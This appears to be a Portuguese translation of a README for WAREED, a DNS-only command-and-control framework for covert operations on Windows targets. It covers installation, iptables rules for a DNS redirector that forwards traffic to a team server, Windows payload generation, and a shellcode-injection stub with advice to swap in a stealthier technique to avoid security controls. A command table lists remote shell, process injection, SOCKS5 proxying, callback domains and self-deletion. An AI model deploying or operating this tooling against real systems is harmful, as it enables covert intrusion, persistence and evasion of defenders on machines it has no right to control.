
Framework de comando e controle somente via DNS com agente Windows, geração de payloads, execução remota de shell, injeção de shellcode e suporte a proxy SOCKS5 para operações encobertas.

WAREED é um Command and Control (C2) que utiliza o protocolo DNS para comunicações seguras entre o servidor e o alvo. Projetado para minimizar a comunicação e limitar a troca de dados, destina-se a ser um C2 de primeiro estágio para persistir em máquinas que não têm acesso à internet via HTTP/HTTPS, mas onde o DNS é permitido.
desenvolvido por : @Fsalabduljabbar

Embora muitos frameworks Command and Control (C2) suportem DNS como protocolo de transporte, eles são predominantemente projetados para HTTP/HTTPS. A transição desses frameworks para DNS muitas vezes resulta em operações mais lentas e menos estáveis. Enfrentando inúmeros desafios com a instabilidade desses frameworks para transações DNS, fui compelido a criar uma solução adaptada especificamente para DNS. O resultado é Wareed — um framework C2 exclusivo para DNS. Esse foco especializado resulta em uma operação mais estável e eficiente, tornando Wareed mais rápido e confiável em comparação com frameworks C2 tradicionais que não são primariamente projetados para DNS. Isso torna Wareed uma escolha ideal para ambientes onde o tráfego DNS é permitido, mas HTTP/HTTPS é restrito.
Foi desenvolvido usando três linguagens de programação:
Explicação dos nomes:
Hams (همس) significa "sussurro" em árabe
Wareed (وريد) significa "veia" em árabe
Ather (أثر) significa "vestígio" em árabe
Passo 1: Clone o repositório Wareed:
git clone https://github.com/Faisal-P27/WAREED-DNS-C2.git
Passo 2: Execute o script de configuração:
cd WAREED-DNS-C2
chmod +x Run.sh
sudo ./Run.sh setup
Se o processo de compilação for concluído com sucesso, dois arquivos executáveis serão gerados no mesmo diretório:
Também verificará o estado de compilação do Agent. Se for bem-sucedido, confirma que o Agent está pronto para ser implantado e operacional, o que é crítico para o funcionamento do Wareed C2.
{
"magic_value": "cdn",
"domains": ["2.example.net"],
"listener_port": "111",
"sleep": 5,
"jitter": 50,
"lookup_delay": 5,
"default_dns_server": "1.1.1.1"
}
magic_value: o comprimento deve ser igual a 3.
Configuração DNS: Para operar o Wareed, é essencial possuir um nome de domínio válido. Após adquirir um domínio, dois registros DNS precisam ser configurados para apontar para o Redirecionador:

Configuração do Redirecionador:
O redirecionador lidará com o tráfego DNS recebido na porta 53 e o redirecionará para o servidor da equipe. Para isso, execute os seguintes comandos iptables na máquina redirecionadora (R1):
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
Este comando configura o firewall para aceitar pacotes UDP recebidos na porta 53, que é a porta padrão para pedidos DNS.
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination [TeamServer IP]:[teamserver listener port]
Substitua [TeamServer IP] pelo endereço IP real do seu servidor de equipe e [teamserver listener port] pelo número da porta na qual o seu servidor de equipe está escutando. Este comando direciona todo o tráfego que chega na porta 53 para o endereço IP e porta especificados do servidor de equipe.

Para iniciar o servidor de equipe Wareed pela primeira vez, você precisa especificar o arquivo de configuração juntamente com a senha do cliente e a porta na qual o cliente irá escutar. Use o seguinte comando para executar o servidor de equipe Wareed:
sudo ./WareedServer [Client Password] [Client Port Listener] [Path to configuration file]
Para iniciar o cliente GUI Ather, basta
./Ather
Ao executar o comando, uma nova janela com uma página de login aparecerá.

Detalhes de Login: Na página de login que aparece:
Janela principal do Wareed:

Para gerar um novo payload com o Cliente GUI Ather, siga estes passos:
Navegue até a Geração de Payload:
Payload > Generate > Windows. Selecionar esta opção abrirá uma nova janela adaptada para a geração de payloads.
Após gerar um novo payload, uma nova sessão convidada é automaticamente registrada no servidor de equipe. Esse processo de registro garante que apenas esta sessão específica possa se conectar ao servidor de equipe. Utiliza um identificador único e um 'magic value' para autenticar e autorizar a sessão. Esse mecanismo garante uma comunicação segura e controlada entre o payload recém-gerado e o servidor de equipe.

Após executar o payload em uma máquina Windows, ele começará a gerar consultas DNS para se registrar no servidor de equipe. Esse processo de registro ocorre em segundos e normalmente envolve a geração de entre 3 a 5 consultas DNS.

Para interagir com uma sessão, basta clicar com o botão direito na sessão desejada e selecionar "Interact" no menu de contexto. Essa ação abrirá uma nova aba com uma interface de terminal. Neste terminal, você pode executar comandos

Nota: O comando
injecté direto, mas muitas vezes é detectado por controles de segurança. Para melhorar a furtividade, você deve implementar sua própria técnica de injeção. Modifique o código de injeção emAgent/Source/Core/Tasks/Modules/Injection.c. Aqui está um modelo básico para personalizar a função de injeção:
int Inject(unsigned char *ShellCode, int size, int ProcessID) {
// Adicione sua técnica de injeção aqui.
// Você receberá o shellcode em [unsigned char *ShellCode] e o tamanho do shellcode em [nt size]
// e o ID do processo em [int ProcessID].
}
Para limpar o banco de dados, basta executar o seguinte comando no seu terminal:
./Run clean
Embora eu não tenha planos imediatos de continuar investindo tempo no projeto Wareed, tem sido uma jornada de aprendizado incrível, e eu aproveitei muito. Estou animado em anunciar que estou planejando lançar um novo grande projeto, THAWD BAS. Para mais informações, visite Thawd.io.
Se você tem habilidades de desenvolvimento e está interessado em contribuir com o Wareed, aqui estão algumas oportunidades:
Este trabalho não poderia ter sido realizado sem a contribuição de vários projetos de código aberto notáveis:
DNSStager por - @mohammadaskar2
Boomerang por - @NinjaParanoid
delete-self-poc por - @LloydLabs
| Command | Description | Usage | Example |
|---|
| help | Mostra a mensagem de ajuda do comando especificado | [command] | help shell |
| sleep | define o atraso de sleep com jitter | [delay] [jitter] | sleep 10 50 |
| shell | executa comandos do cmd.exe e obtém a saída | [commands] | shell dir c:\windows\system32 (por favor, não faça isso) |
| inject | injeta shellcode em um processo remoto | [pid] [shellcode_path] | inject 1234 /path/to/shellcode.bin |
| proxystart | inicia um proxy SOCKS5 | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystart example.com 443 1080 |
| proxystop | para um proxy SOCKS5 | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystop example.com 443 1080 |
| adddomain | adiciona um novo domínio de callback | [domain_name] | adddomain example.com |
| deldomain | exclui um domínio de callback | [domain_name] | deldomain example.com |
| listdomain | lista todos os domínios de callback ativos | listdomain | |
| kill | Termina o processo atual. | [yes] | kill yes |
| wipe | Termina e exclui o processo atual. | [yes] | wipe yes |
| selfdel | Exclui o processo atual do disco. | [yes] | selfdel yes |
| tasklist | Lista todas as tarefas enfileiradas | tasklist | |
| taskdel | Exclui uma tarefa específica pelo ID | [task id] | taskdel 123 |
| tasksclean | Exclui todas as tarefas na fila | [yes] | tasksclean yes |
| clear | limpa a tela do terminal | clear |